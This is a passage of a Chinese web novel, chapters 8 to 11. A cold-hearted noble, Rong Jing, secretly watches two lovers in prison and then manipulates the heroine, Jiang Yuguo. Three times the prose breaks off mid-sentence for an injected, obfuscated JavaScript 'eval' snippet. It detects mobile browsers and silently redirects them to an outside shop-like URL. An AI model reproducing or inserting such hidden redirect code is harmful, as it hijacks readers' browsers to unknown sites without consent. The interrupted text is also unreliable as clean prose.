林晏却勉强扯出一个笑容,抬手,用指腹轻柔地拭去她脸上的泪痕:“你也瘦了好多。” 欣喜过后,是铺天盖地的心疼与愧疚。 他宁愿姜于归不要来,宁愿她在清溪镇怨恨他的始乱终弃,也好过卷入这腥风血雨,陪他在这暗无天日之地担惊受怕。 林晏的语气复杂,像是对她说,又像是自语:“其实我猜到你会来......但我没想到,你真的会来。” 话语里,是难以言喻的担忧,和更深沉的,被这份跨越千山万水的勇气所震撼的感动。 姜于归泣不成声,林晏温声安抚着,目光一如既往,柔和得像能融化坚冰。 情绪稍定,姜于归才哽咽着说起:“我本来给你带了些吃食,我做了一早上,用炭炉暖着,但是容世子说,这里规矩森严,不能带进来......” 姜于归的语气里,带着一丝未能尽心的遗憾。 角落阴影里,容璟的呼吸几不可查地一滞。 他等着,等着姜于归的抱怨,甚至是指责。 然而,林晏眼中只是闪过一丝了然,随即便是毫无芥蒂的包容,他反而出言安慰:“容世子没有错,这里是刑部大牢,规矩森严,更需要谨慎。况且朝中上下皆知他与我是至交,他能为我们冒险安排此次相见,已属不易,我们更不能让他为难。” 林晏的言辞恳切,充满了全然的理解与信任。 不能让他为难。 刹那间,容璟只觉得自己的心脏好像被什么东西猝不及防地轻轻撞了一下。不重,却带来一种奇异而陌生的震荡感。 他预想中的隔阂与怨怼没有出现,他亲手设置的障碍,非但没有离间这两人,反而让他们更加紧密,甚至......反过来体谅他? 一种陌生的情绪,像初春的藤蔓,带着刺骨的凉意,又蕴含着诡异的生机,开始在他冰封死寂的心湖边缘悄然滋生。 这不是算计得逞的快感,也不是掌控一切的满足......这感觉太陌生,让他心底隐隐升起一丝难以名状的恐慌。 这是......被信任。 一种毫不保留的,甚至带着维护意味的信任。 为什么?容璟不明白。 他们为什么不觉得他是故意刁难?明明上次他来探视时,也曾带过食物。为什么这一次,林宴要帮他说话? 人与人之间,不应该是相互提防,相互算计的吗?就像那座华丽的荣国公府,连至亲血脉之间都充满了诡谲与冰冷的衡量。 这股陌生的情绪在容璟心中翻涌,让他无法像往常一样,冷静地将它们分解,归类,弃置。 他感觉自己精心构建的,坚不可摧的内心城堡,被这无形的力量撬开了一道细微的裂隙,让他无所适从。 他继续听着。 8. 第 8 章 姜于归隐忍压抑的哭声再次传来,他看不见她的表情,却能想象她此刻的坚定。 “林宴,我知道你一定是被冤枉的!如果有需要,我可以为你作证,你在清溪镇,一直是个好官!” 她的声音带着天真的执拗,像一颗投入死水的石子,激起的涟漪微弱却纯粹。 躲在暗处的容璟几乎要嗤笑出声。 作证?以什么身份?一个民女,指控朝堂大员?何其可笑,何其不自量力! 然而,林宴却没有丝毫的嘲笑与敷衍。 他耐心温和的向她解释着其中致命的利害:“于归,你能来,我就已经很欢喜了。而且在清溪镇的时候,你一直以为我是钦差的护卫,根本就不是钦差,怎么能判断我是不是个好官?” 姜于归闻言,眼神满是失落,随即也陷入了沉默。而林晏继续道:“即便你出面作证,陛下也不会觉得我是个好官,反而会认为我口风不严,连钦差的身份与行事细节都能让一位民间女子知晓,甚至还能为其作证。这样的不谨慎,在此刻,便是大罪。” 姜于归眼中的光芒,随着他的话语,彻底黯淡下去,像被风吹熄的烛火。 一时之间,她并没有想到这一层。 感受到姜于归的失落,林宴心中涌起无限怜惜,他握紧了她的手,声音轻得像叹息,却又重若千钧:“于归,你能来,对我而言,意味着在这四面楚歌之地,让我知道自己并非孤身一人。这已经胜过千言万语,胜过任何证据。我真的很开心了。” 那不是客套,而是在无边绝望中,抓住唯一光亮后,最真实的剖白。 听到这些话,容璟心底是前所未有的复杂与混乱。 而姜于归,原本她也只是想见林宴一面,告诉他,无论境遇如何,还有人陪着他。 可现在,亲耳听到林宴将这心意如此珍重地说出口,她变得贪心了。 她想帮他查清案子,想让他离开这鬼地方,可她无能为力。 林晏那句我很开心了,像温暖的泉水,冲击着她的心房,也冲刷出她心底深藏的愧疚。 “林宴,你不要这么说,我......我也没有你想的那么好。” 姜于归哽咽着,声音里带着自责。 林晏微微放缓了声音,带着鼓励:“怎么说?” “先前我看出你的字迹有异,我以为......以为你最终还是厌弃了我,碍于门第,不想继续了......” 她说得断断续续,每一个字都带着当时的伤心与此刻的难堪。 “所以我想着把你留给我的玉佩当了,从此一别两宽,忘记你......” 这个秘密,像一块石头压在她心底,在得知林宴入狱后,这份曾想放弃的念头,更让她觉得自己卑劣,像是一种背叛。 阴影里,容璟的眉眼几不可查地蹙起。 当真如林宴所料,她竟真的能看出字迹不同?而后,还心生过卖掉玉佩,一走了之的念头? 更让他意外的是,姜于归此刻竟如此坦然地说了出来? 她不怕林宴愤怒,失望,觉得她薄情吗? 林晏也确实愣住了,他没想到其中还有这样的曲折。但他脸上的惊讶只是一闪而过,没有半分被冒犯的怒气,甚至连一丝失望都没有。 他的声音依旧带着能包容一切的温和,轻声问:“那玉佩......最后当了吗?” 姜于归用力地摇头,像是要甩掉那个不堪的念头:“没有!我觉得那老板看玉佩的眼神不正,恨不得直接抢了去,我就不敢卖了!想着就算要分开,还是把东西原样还给你才好,这才来找你。结果,却听说慕容府出了事......” 后面的事,不言而喻。 林晏静静地听着,直到姜于归说完,语气里依旧没有半分责备,反而带着一种如释重负的庆幸:“原来是这样啊。但不管是什么原因促使你来找我,现在的结果就是,你得知我身陷囹圄,也没有避之不及。 于我而言,这便足够了,我只有满心欢喜。 而且,你会误会,也很正常。若换了我,只怕也会如此。不要因为当时一时的想法和决定而感到愧疚,毕竟......最先隐瞒,欺骗的人,是我,不是吗?” 听着林晏全然的理解,甚至将过错揽到自己身上,姜于归吸了吸鼻子,一时不知是该哭还是该笑,竟顺着他的话,故意板起脸道:“对啊!你也骗了我!” 见姜于归如此,林晏生怕她真的生气,连忙抓紧了她的手,急切地解释道:“于归,你听我说,那玉佩再珍贵,也不过是死物。即便你因为误会我而生气,有了一时冲动的念头,可你最终还是保持了理性与清醒,没有真的舍弃,反而千山万水地来找我求证,这比什么都重要。还记得我在清溪镇时说过的话吗?你是个勇敢又聪明的姑娘,一直都是。” 林晏的目光,如同深邃宁静的夜空,可以包容下所有的星光与晦暗。 而林晏这样的反应,再次彻底超出了容璟所能理解的范畴。 贴身信物险些被变卖,换来的不是愤怒斥责,不是心寒失望,反而是......更加汹涌的欢喜与毫无保留的赞赏? 为什么? 容璟像一具没有温度的雕塑,僵立在阴影里,内心却掀起了惊涛骇浪。 那个一直缠绕在他心间的问题再次涌现。 他们之间不过相识短短数月,怎么可能滋生得出如此......如此违背常理,跨越生死的信任与包容? 那冰冷的栅栏,仿佛隔开的不是牢笼与自由,而是他所在的冰冷算计的真实人间,与林宴和姜于归之间那个他无法理解,也无法触及的......另一个世界。 一股前所未有的,巨大的茫然,混合着一种连他自己都不愿承认的,细微的刺痛感,如同附骨之疽,悄然缠上了他的心脏。 他在听完姜于归和林晏情真意切的倾诉之后,心底产生了一瞬的动摇,但是很快一抹清晰的念头,带着冰冷的自嘲就浮现在他脑海。 果然,即便他学得再像,也还是学不会林晏的脊髓。 怎么能原谅背叛之人呢? 姜于归明明怀疑林晏,还想变卖他的物品,林晏却丝毫不责怪? 若是有人敢这样揣测他,试图便卖他送的东西,即便他表面还能维持温文尔雅的假象,但却会做出让对方后悔莫及的行为。 可是林晏不这样!他好像永远也无法拥有林晏身上的一种东西。 真诚的温度! 他一直模仿林晏,模仿他的温文尔雅,重情重义,模仿他待人接物令人如沐春风的姿态,模仿林晏的正直,并且大受赞誉。 毕竟连他的血脉至亲都说,他的本性令人恐惧,让人避之不及。 于是为了减少麻烦,他将这些本性藏起来,容璟开始像做学问一样,刻苦钻研起来,并且完美复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868601|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻这种——正常人的面具。 这样的表现确实不错,让他很好的融入环境,获得利益! 他以为自己学的惟妙惟肖,甚至青出于蓝。 但是面对这些赞扬,他却在心底里发出冷笑。 他笑他们推崇的美德,只不过是他随意穿戴和脱下的面具罢了,笑他们根本看不穿他! 他享受着这一切,并感到愉悦! 毕竟,他常常能用这幅面具,将所有人玩弄于鼓掌之间。 包括慕容林晏! 可是此刻,容璟才觉得他学到的都是皮毛,都只是林晏为人处世的形!而非神! 一种前所未有的,混杂着鄙夷,不解,以及他自己不愿意探究的匮乏感在心底蔓延开来。 他像是站在一座华美却空寂的宫殿,隔着窗,看见了一座虽然简陋,但是却充满了烟火气和真情的小木屋。 他看不起那木屋简陋不堪,却又无法解释,为什么那小屋的灯光,会让他感到一种刺骨的孤独! 或许他永远也学不会,成不了慕容林晏那样的人! 回去国公府的路上马车内一片死寂。 容璟依旧闭目靠在车壁上,脑中却不自主地回放着牢狱中的一幕幕。 姜于归强忍的泪水,林宴毫无保留的信任,还有那句不能让他为难...... 这些画面和声音,像不受控制的幽灵,在容璟坚不可摧的内心堡垒外盘旋,带来一种细微却持续的骚动,令他烦躁。 而姜于归则沉浸在悲伤与重逢的复杂情绪里,默默垂泪,二人一路无话。 直到马车稳稳停在国公府,容璟站在那象征着无上权势与秩序的门第前,抬步踏入熟悉的,弥漫着昂贵冷香,在每一寸砖瓦都刻着规矩和算计的领地时,先前在牢狱里,那股因为外界异常而滋生的动摇,瞬间像是被无形的壁垒给挡住和镇压了。 容璟回到了他的熟悉的栖息地,他灵魂的牢笼。 书房的门在他身后悄无声息的关上,将外界一切隔绝。 屋内炭火烧得正暖,驱散了从牢狱带回的寒意,却驱不散容璟心头的冷意。 他独自站在窗边,望着窗外被他精心规划,每一处都彰显着绝对掌控的庭院景致。 那种一切尽在掌握的感觉,迅速抚平了方才在马车里的那丝莫名的躁郁。 先前那些因姜于归和林宴而生的恍惚与异样,在此刻看来,显得如此可笑,如此......软弱。 他怎么会允许自己陷入那种无用的困惑之中? 是了,容璟从小便深知这世界的运行法则。 在书院时,他看着那些满口仁义道德的同窗,私下里为了名额与前途行着最龌龊的勾当,用光明正大的言辞包裹最卑劣的嘴脸。 正义?道德?不过是块遮羞布。 他早已完全接受并超越了父母的教导,将摒弃无用情感奉为圭臬。 他做事只讲利益与结果,算无遗策,冷静高效。 这种毫无温度的完美,在外人看来是冷血,他却毫不在意。 直到他遇见慕容琛——那个仿佛没有阴暗面的人。 他的正直是由内而外的,温和而强大,像一面过于干净的镜子,照得容璟无所适从。 后来他发现,相较于冷血,温润君子的人设更高效,更具欺骗性。 于是,他开始像最勤奋的学生一样拆解,模仿林宴的一切。 9. 第 9 章 微笑的弧度,倾听的姿态,乃至那些看似无私的举手之劳。 容璟精准复刻了这套君子之风,果然赢得了赞誉,曾经的冷血,也被重新解读为性情内敛。 他享受着伪装带来的便利,暗中嘲笑那些愚蠢的受骗者。 而其中最让他感到讽刺又享受的,便是林宴毫无保留的信任。 想到这里,容璟心底涌起一股强烈的自我鄙夷与厌弃。 他居然会去思考林宴那套虚伪的光明,和姜于归那不合时宜的坚韧?简直是奇耻大辱! 鄙夷!嫌弃! 强烈的情绪涌上心头。 他居然允许自己陷入这样的困惑之中,简直是奇耻大辱! 他需要立刻纠正这个错误,重新确认自己的立场,巩固这险些被撼动的内心壁垒,以及对这个世界的真相。 容璟的目光落在了桌上的食盒上,那是姜于归宝贝了一路,却没有送出去的东西。 此刻,它成了容璟宣泄这种厌弃,以及巩固内心壁垒的最佳目标。 他走过去,动作刻意的放缓。打开食盒,里面的菜色依旧保持原样,但是因为失去了热气,显得极为普通,甚至有些狼藉。 他拿起筷子胡乱的拨开,用近乎苛求和审视的目光,打量着每一道菜。 “火候欠佳,色泽黯淡 食材低贱,气味混杂 形状粗陋,简直难登大雅之堂! 糕点形状粗陋,甜腻之气扑鼻,村野口味。 ......” 容璟一条一条的贬低,面上没有任何表情,但是却用最恶毒的语言,将姜于归的这份心意践踏的一文不值。 仿佛通过否定这些菜,就能抹去他偷听到那些对话时,内心产生的诡异波动。就能否定掉它背后代表的,他无法理解,也无法掌控的真心。 这不仅仅是在嫌弃姜于归的菜,更是在嫌弃那个,居然会为此产生动摇的他自己。 不过他已经重新确认了自己内部世界的正确与坚固,维持了内心的秩序与安全,所以,那些异样的情绪,已经全部消散。 容璟的声音恢复了往常的平稳和冰冷,他扬声唤道:“长青!” 长青应声而入,容璟指着那食盒,语气轻描淡写,仿佛在处置一件再寻常不过的垃圾:“拿去,喂狗。” “是。”长青没有毫无异议,拿起食盒,躬身退下。 书房内重归寂静,容璟靠在椅背上,闭上眼,试图驱散鼻尖那若有若无的,属于点心的清甜香气,以及更缥缈的,属于姜于归身上那股干净的皂角混合着烟火气的味道。 他成功了。 他成功驱散了心中的异样,重新变回了那个完美的,一切尽在掌握中的荣国公府世子,容潜玉。 他对自己说:看吧,如此粗鄙之物,只配落入畜牲之腹。 他嫌弃的是那点心,更是那个竟会因这点微不足道的用心而产生一瞬间动摇的自己。 唯有彻底践踏,才能证明他的绝对正确,才能维系内心世界的秩序与冰冷的安全。 至于心底深处,那因为听到牢中对话而产生的针尖般细微的刺痛,他拒绝深究。 那一定不是因为嫉妒,仅仅是因为,他无法容忍属于自己的领地里,存在不受他掌控的,属于他人的真心罢了。 对,仅此而已。 自从去刑部见了林晏之后,一直笼罩在姜于归心头的厚重阴云仿佛被撕开了一条口子。 虽然看见林晏身陷囹圄,但是至少目前来看,性命是无虞的。 而且林晏也和姜于归说过,让她放宽心,他是冤枉的,如今陛下正在彻查,相信一定可以还他清白。 有了这个消息,才让一直处在紧绷状态的姜于归得以松懈。 她性子本来就不是沉闷的,现在犹如被压紧的弹簧,迅速反弹。不仅如此,她还很快和国公府的一些下人打成一片,尤其是厨房的人,她几乎成了厨房的常客。 他们相互请教做菜的心得,姜于归想,学一些盛京的菜式,为以后开一家更大的酒肆做准备。 容璟也很好奇,姜于归见过林晏一面之后,会发生什么转变? 是觉得时间太短,还不够慰藉相思之苦?想着再次找机会哀求他,让他带她去见林晏? 还是看了牢狱的环境,觉得林晏出狱无门,开始思索离开的事情。 结果长青将这几日姜于归的情况禀报给容璟,容璟听后眸色越发深沉,那总是维持着温和弧度的嘴角,此刻在阴影里抿成一条冰冷的直线。 此刻姜于归正挽起袖子,专注的制作手里的点心,她的鼻尖上还沾染了一点儿面粉也浑然不觉。 冬日的阳光透过厨房的窗户照在姜于归身上,尤其是在她专注的眉眼上,让她看上去像是一个被天地偏爱的精灵,此刻正舒展着蓬勃的生机。 她与周遭那些毕恭毕敬的仆人不一样,带着几分鲜活的吵闹,却又不会让人觉得烦躁,而是刚刚好。 长青回禀说,姜于归这几日的心情不错。 容璟看了也觉得,她的心情——果然很好。 可是这个认知,就像是一根冰冷的尖针,狠狠地刺入他的心头。 她倒是适应得快,见过林晏一面,确认那人还活着,便如此心无挂碍地......在他的府邸里,活得这般恣意? 那日在牢狱外,姜于归哭得那般伤心欲绝,仿佛天塌地陷,可这才过了几日?那悲伤便已褪色,变成了厨房里的欢声笑语? 慕容林晏在姜于归的心中,莫非就只有这点分量? 还是说姜于归这般的活泼明媚,本就是她笼络人心的手段之一?对林晏用过,如今,又用在了他国公府的下人身上? 容璟看了很久,静默的注视着厨房里那个鲜活的身影,她看着姜于归想去尝尝那新鲜出炉的梅花糕,结果不慎被烫了的窘迫,没有楚楚可怜的表情,反而迅速摸着耳垂,动作有几分娇憨。 “于归啊......她的性子很活泼,像是山涧里的水,看着清凌凌的,实则一路叮咚响,热闹的很。 虽然热闹,但是又不会让人觉得很聒噪。其实她的心思很是细腻......” 容璟想起林晏回京不久之后,初次和他提起那位在清溪镇遇上的姑娘,当时容璟只是在心底冷笑。 在他看来,只觉得,这不过是林晏被情爱蒙蔽双眼后的夸大其词。 世间怎么可能会有如此会察言观色,又收放自如的活泼女子呢?不过是精心算计后的表演罢了,更是林晏一厢情愿的美化罢了。 可如今,他亲眼所见。 容璟不得不承认,林晏的描述,分毫未差。 姜于归确实活泼,确实......能在不经意间,吸引所有人的目光。 所以,林晏说的,都是真的。 她能分辨笔迹是真的,她厨艺精湛是真的,她此刻展现的这份鲜活,也是......真的。 这个认知,像一根冰冷的针,猝不及防地刺入容璟心口最隐秘的角落。 原来,慕容林晏并非愚蠢,他是真的,遇见了一个与众不同的女子。 而这个女子,此刻就在容璟的屋檐下。 可她将这份真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868602|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实,慷慨地给予了厨房的仆役,给予了这府里的一草一木,却唯独在面对他——这座府邸的主人,她的恩人时,吝啬地收了起来,只留下满满的感激,拘谨,和那双总是带着一丝不易察觉的......畏惧的眼睛。 她在怕他。 姜于归对着那些低贱的仆役能言笑晏晏,却在他面前连呼吸都小心翼翼。 凭什么? 一种强烈的不悦,伴随着被冒犯的感觉,如同毒藤般悄然缠绕上容璟的心脏。 他习惯了掌控一切,自然也包括他人的情绪。 而姜于归这份清晰的区别对待,无疑是对他权威的一种无声挑衅。 既然姜于归生活在他的领地,那么,她的喜怒哀乐,她的鲜活明媚,乃至她的恐惧,都该由他来赐予,由他来定义。 他会让姜于归明白,谁才是她唯一应该仰望,唯一能够决定她命运的人。 容璟的嘴角在渐浓的夜色中,勾起一抹冰冷而势在必得的弧度。 阳光晒在身上暖洋洋的,隐约间,姜于归觉得好像有人再看她。抬头扫过厨房门口和回廊连接的地方,却谁都没有。 是错觉吗? 姜于归微微瘪了瘪嘴,又重新低头继续手上的动作。 夜深人静之时,姜于归躺在床上辗转反侧。 白日里厨房的欢声笑语散去后,重新占据姜于归心头的,是容璟世子带给她的那种挥之不去的......压抑感。 她想起初见时,容璟脸上那温和得令人心安的笑意,那样清贵俊雅,让她瞬间就想到了同样温润的林晏。 这样的人物,难怪能与林晏成为莫逆之交。 可是,有些感觉经不起细细回味。 最让姜于归心头像是硌着颗小石子的,就是容璟提出的那个条件。 帮人是情分,不帮是本分,这个道理她懂。 可......容璟是林晏能够托付身后事的至交啊,在帮助身陷囹圄的好友与其心上人见一面时,为何会如此公事公办地提出一个条件? 这与她认知中两肋插刀的友情,似乎隔着一层模糊的纱。 还有府里的下人,他们对世子的恭敬,似乎......太过头了。 那是一种刻入骨髓的畏惧,连脚步声都放得极轻,仿佛生怕惊扰了什么。 她知道主仆尊卑有别,可在清溪镇时,镇上的大户人家也不至于如此...... 以及,容璟告诉她林晏真实身份,并递过那盒金子让她离开时,她虽低着头,却分明能感受到一道落在她身上的视线。 那视线没有温度,不像林晏看她时带着暖意,反而像在......审视一件物品的价值,让她当时就脊背发凉,莫名地害怕。 林晏的温柔,是发自内心的真诚,如同春日的阳光,暖得毫无杂质。 容璟世子的温柔,初看亦是如沐春风,无可挑剔。 可稍微一回味,便觉得那春风里仿佛裹着细小的冰棱,每一个笑容的弧度,每一句关怀的措辞,都完美得像用尺子量过,反而让人不敢轻易靠近。 姜于归不敢再往下想了。 那念头太僭越,太不知好歹。 容璟是她的恩人,她怎么能因为一些说不清道不明的感觉,就去揣测一位高高在上的世子呢? 或许,这就是盛京高门的规矩,是她这个来自异世,更是来自清溪镇的孤女所无法理解的处世之道。 姜于归用力摇了摇头,将那些纷乱的思绪甩开。 无论如何,世子答应了她的请求,让她见到了林晏,这便是天大的恩情。 10. 第 10 章 姜于归用力甩头,将那些小人之心的揣测从脑海中驱逐出去。而后她再次想到容璟那份允她探监的恩情,重若千钧。 她无以为报,唯有将这份感激深埋心底,时刻谨记自己的身份,安分守己,绝不给他添任何一丝多余的麻烦。 尤其是想到那日在书房时,容璟他周身那股冰冷的低气压,让姜于归隐约猜测,是不是自己的探监可能打乱了他的某些部署,惹他不快了? 因此,即便心中对林宴的思念与担忧从未止息,姜于归也强忍着,不再去书房叨扰。 姜于归愈发谨小慎微,只在厨房那一方小天地里,寻求片刻的安宁与自在。 然而,她这份小心翼翼的安分,落在另一个人眼中,却成了完全不同的意味。 容璟坐在书房里,指尖无意识地敲击着紫檀木桌面。 他料定姜于归见过林宴一面后,绝不可能满足。 而现在姜于归日日泡在厨房,学着那些精致的京中点心,无非是觉得之前的谢礼不够分量,在精心准备下一次求见的筹码罢了。 容璟甚至已经在心中预演了无数遍,该如何用最温和又最不容置疑的语气,再次拒绝她,然后欣赏她眼中光芒一点点寂灭的美妙过程。 光是想象她那失望却又不得不强装理解的模样,就足以抚平容璟连日来因等待而生的细微烦躁。 一日,两日,三日...... 容璟预料中的场景却迟迟没有上演,姜于归仿佛真的心满意足,除了厨房和客房,几乎足不出户,连在他可能经过的回廊都极少露面。 这种脱离掌控的感觉再次袭来,像羽毛轻轻搔刮着他的心,带来一丝难以言喻的烦躁。 姜于归怎么会就此满足?定然是在等待一个更恰当的时机。 没错,定然如此。 一个耐心等待猎物上门,一个却避之不及。 容璟的耐心在日复一日的空等中,终于消耗殆尽。 既然鱼儿不肯咬钩,那他便亲自将香饵,送到她的嘴边。 姜于归不急着再见林宴,那林宴在这世上最牵挂的祖父母呢?她也能无动于衷吗? 这日,姜于归刚从厨房出来,正准备沿着回廊返回客房,便听见前方传来容璟与长青的对话。他的声音不高不低,恰好能清晰地传入她耳中。 “慕容老大人那边,你再多送些上好的温补药材过去,年节下天气酷寒,他们二老年迈体弱,经此打击,我实在忧心。府中库房那支百年老参也一并送去,你亲自去打点,务必确保二老安然度过这个寒冬。” 长青躬身领命:“是,属下明白。” 姜于归的脚步顿时钉在原地,脸色凝重起来。 慕容老大人......是林晏的祖父! 他们身子竟然这么不好了?连百年老参都要用上?一股尖锐的忧虑瞬间拽紧了她的心脏。 眼看着容璟交代完毕,转身欲走,姜于归再也顾不得许多,快步上前,声音带着显而易见的急切:“世子请留步!” 容璟闻声驻足,回过头,脸上带着恰到好处的讶异,仿佛才注意到她的存在:“姜姑娘?何事?” 而在他心底那片冰原,却因姜于归终于上钩而泛起一丝满意的涟漪。 姜于归仰起脸,眼中满是真实的忧虑:“世子,请问林晏的祖父祖母,他们他们的身子......很不好吗?” 容璟轻轻叹了口气,眉宇间染上一抹沉重的怜悯,与她心中的担忧遥相呼应。 “老人家年事已高,根基已损,本就经不起风浪。如今爱孙蒙难,忧思过重,加之这数九寒天......” 容璟话语未尽,留下的空白却足以让姜于归的心紧紧揪起。 她脑海中立刻浮现出两位白发苍苍,悲痛欲绝的老人形象,在冰冷的府邸中相依为命的凄惨场景。 一股强烈的冲动涌上心头,她再次恳求道:“世子,眼看年节将至,本是团圆之日,他们却......我可否,代林晏去看看他们?哪怕只是送些点心,问候几句也好?我保证,绝不会给您添乱的!” 姜于归又露出了那种表情,将所有的希望与无助都系于他一人之身,脆弱而又全然依赖。 一种隐秘的快感,如同细微的电流,瞬间抚平了容璟连日来的烦躁。 看,姜于归的情绪,终究还是由他牵引。 容璟面上却露出几分为难,语气温和却坚定:“姜姑娘的善心,我明白。只是年关前后,各方势力错综复杂,慕容府更是敏感之地。你贸然前去,若被有心人察觉,借此大做文章,只怕非但于二老无益,反而会害了他们,更会连累狱中的林宴。” 姜于归眼中的光芒,随着他的话语,一点点黯淡下去,如同风中残烛。 容璟享受着这种掌控一切的满足感,几乎要从那完美面具的缝隙中满溢出来。 姜于归仍不死心,做着最后的努力:“可是长青大哥不是也要去吗?我可以像上次一样,扮作小厮,跟在他身后,我保证......” 容璟打断她,声音里带上了一丝不容置疑的冷硬:“长青武功高强,耳目聪敏,来去自有分寸,可确保万无一失,姜姑娘,你可以吗?” “我......” 姜于归噎住了。 她不会武功,甚至不太认得盛京错综复杂的道路,确实做不到万无一失。 所有的希冀都在这一刻被现实击得粉碎,她纤长的睫毛垂下,在苍白的脸颊上投下一小片阴影,整个人像是被抽走了力气。 容璟满意地看着姜于归这副失魂落魄的模样,转身离开,享受这场操控带来的余韵。 然而,接下来的几日,姜于归却并未如容璟预想的那般彻底消沉,或是再次鼓起勇气前来哀求。 她依旧待在府中,却不再仅限于厨房,反而时常向一些年长的,看似面善的婆子丫鬟打听些什么,神色间带着一种小心翼翼的试探。 容璟冷眼旁观,心中嗤笑。 看来姜于归还未放弃,仍在寻找别的门路。 真是......不见棺材不落泪。 既然如此,他不介意将这场游戏,引导向一个更有趣的方向。 这日,一位在容璟院中伺候的,面相慈祥的嬷嬷偶然与姜于归在回廊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868603|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相遇,闲谈间,嬷嬷似是无意中叹道:“这入了冬,世子爷的旧疾怕是又要犯了,每年这时节,都难免要难受上几日,夜里也睡不安稳,真是让人心疼。” 姜于归闻言心头一动。 “旧疾?世子他......身体不好吗?” 她想起容璟那张温和俊美,却时常缺乏血色的脸,以及那总是带着一丝若有若无倦意的眼眸。 嬷嬷压低了声音:“可不是嘛,听说是小时候落下的病根,那时夫人和国公爷......唉,总之就是没照料好,寒气入了肺腑,每年冬日都要小心将养着。偏生世子爷要强,从不对外人言,也就是我们这些身边的老人才知道一二。” 嬷嬷的话像一颗石子投入姜于归心湖,她之前所有的注意力都在林晏身上,从未留意过容璟的身体。 此刻想来,他位高权重,看似拥有一切,却也有不为人知的苦楚。 他帮了林晏和她这么多,自己却独自承受这些。 一股混合着同情和感激的情绪油然而生。 她帮不上林晏,也见不了慕容家二老,那是不是可以为世子做点什么?至少表达一下谢意? 食补药补不分家,姜于归在清溪镇经营酒肆,也曾跟一位老郎中学过几道简单的温补药膳,对于驱寒润肺正好对症。 这个念头一旦升起,便再也无法遏制。 于是容璟发现,姜于归不再向外打听,又重新扎根回了厨房。但这次,她做的不再是他喜爱的精致点心,而是开始钻研各种汤羹。 起初,容璟并不在意,以为她换了种方式。直到一日,长青端着一盅炖品进来,神色有些古怪。 “世子,姜姑娘送来的,说是......感谢世子照拂,见世子冬日操劳,特意炖的川贝雪梨汤,润肺止咳。” 容璟执笔的手一顿,抬眸看向那盅汤。 白瓷盅里,汤汁清亮,雪梨剔透,几粒枸杞点缀其间,散发着淡淡的清甜和川贝的微苦药香。 不是给林晏的,也不是给慕容家二老的。 是给他的。 为了......他的旧疾? 一丝极其陌生的情绪,如同投入古井的微石,在他心底漾开一圈几乎难以察觉的涟漪。 是错愕,是意外,甚至有一瞬间的......茫然。 他预想了所有姜于归可能提出的要求,唯独没有料到,她会送来一盅与他所有算计都无关的,仅仅是为了他身体着想的汤。 容璟沉默了片刻,用汤匙轻轻搅动了一下汤汁,舀起一小口送入唇中,清甜温润,带着恰到好处的药效,一路暖融融地滑入胃中,驱散了些许冬日积攒的寒意。 味道很好,比他府中厨子做的,更合他的口味。 “她还说了什么?”容璟的声音听不出情绪。 “姜姑娘只说,若世子觉得还合口,她明日再炖。还说......若是世子不喜药味,她可以调整。”长青如实回禀。 容璟放下汤匙,没有再喝第二口,他靠在椅背上,闭上眼,指尖轻轻揉着眉心。 姜于归......她到底想做什么? 11. 第 11 章 以退为进?用这种润物细无声的方式,让他心软,从而答应她去看望慕容家二老? 定然是如此。 容璟端起那盅依旧温热的川贝雪梨汤,瓷壁传来的暖意却无法驱散他心头的冷嘲。 他惯于洞察人心,习惯于将所有人的行为都置于利益的天平上衡量。姜于归此举,无非是另一种更聪明,更隐晦的筹码。 可是......为何他心底那丝异样感,却如同附骨之疽,挥之不去? 这感觉并非源于确信,而是源于一种失控。 他无法像以往那样,精准地预判姜于归的下一步,也无法将她这种行为干净利落地塞进攀附或算计的框架里。 这种模糊地带让他极度不适。 接下来的几天,姜于归果然变着花样地送来药膳。 有时是黄芪炖鸡,汤色清亮,药香与肉香融合得恰到好处,有时是山药排骨,山药软糯,排骨酥烂,有时则是加了红枣桂圆的姜茶,辛辣中带着甘甜,驱散一身寒气。 每一次,她都只是通过长青传达简单的关心。 姜姑娘说,今日天寒,这道汤品最是暖身。 姜姑娘问,世子可还习惯这药味? 绝口不提任何与林晏相关的请求。 容璟每一次都会象征性地尝一些,每一次都在心底加固自己的判断:这是她的手段,她在耐心布局,等待着一个更能拿捏他的时机,提出更进一步的请求。 他冷眼等待着她的图穷匕见。 然而,日复一日,姜于归只是沉默而坚持地送来这些带着烟火气的温暖。她看向他时,眼神里最初的畏惧似乎被这日复一日的接触磨淡了些许,取而代之的是一种......让容璟更加烦躁的专注。 那眼神,不像是在看一个位高权重,可予取予求的世子,反倒像是在看一个需要精心照料的病人。 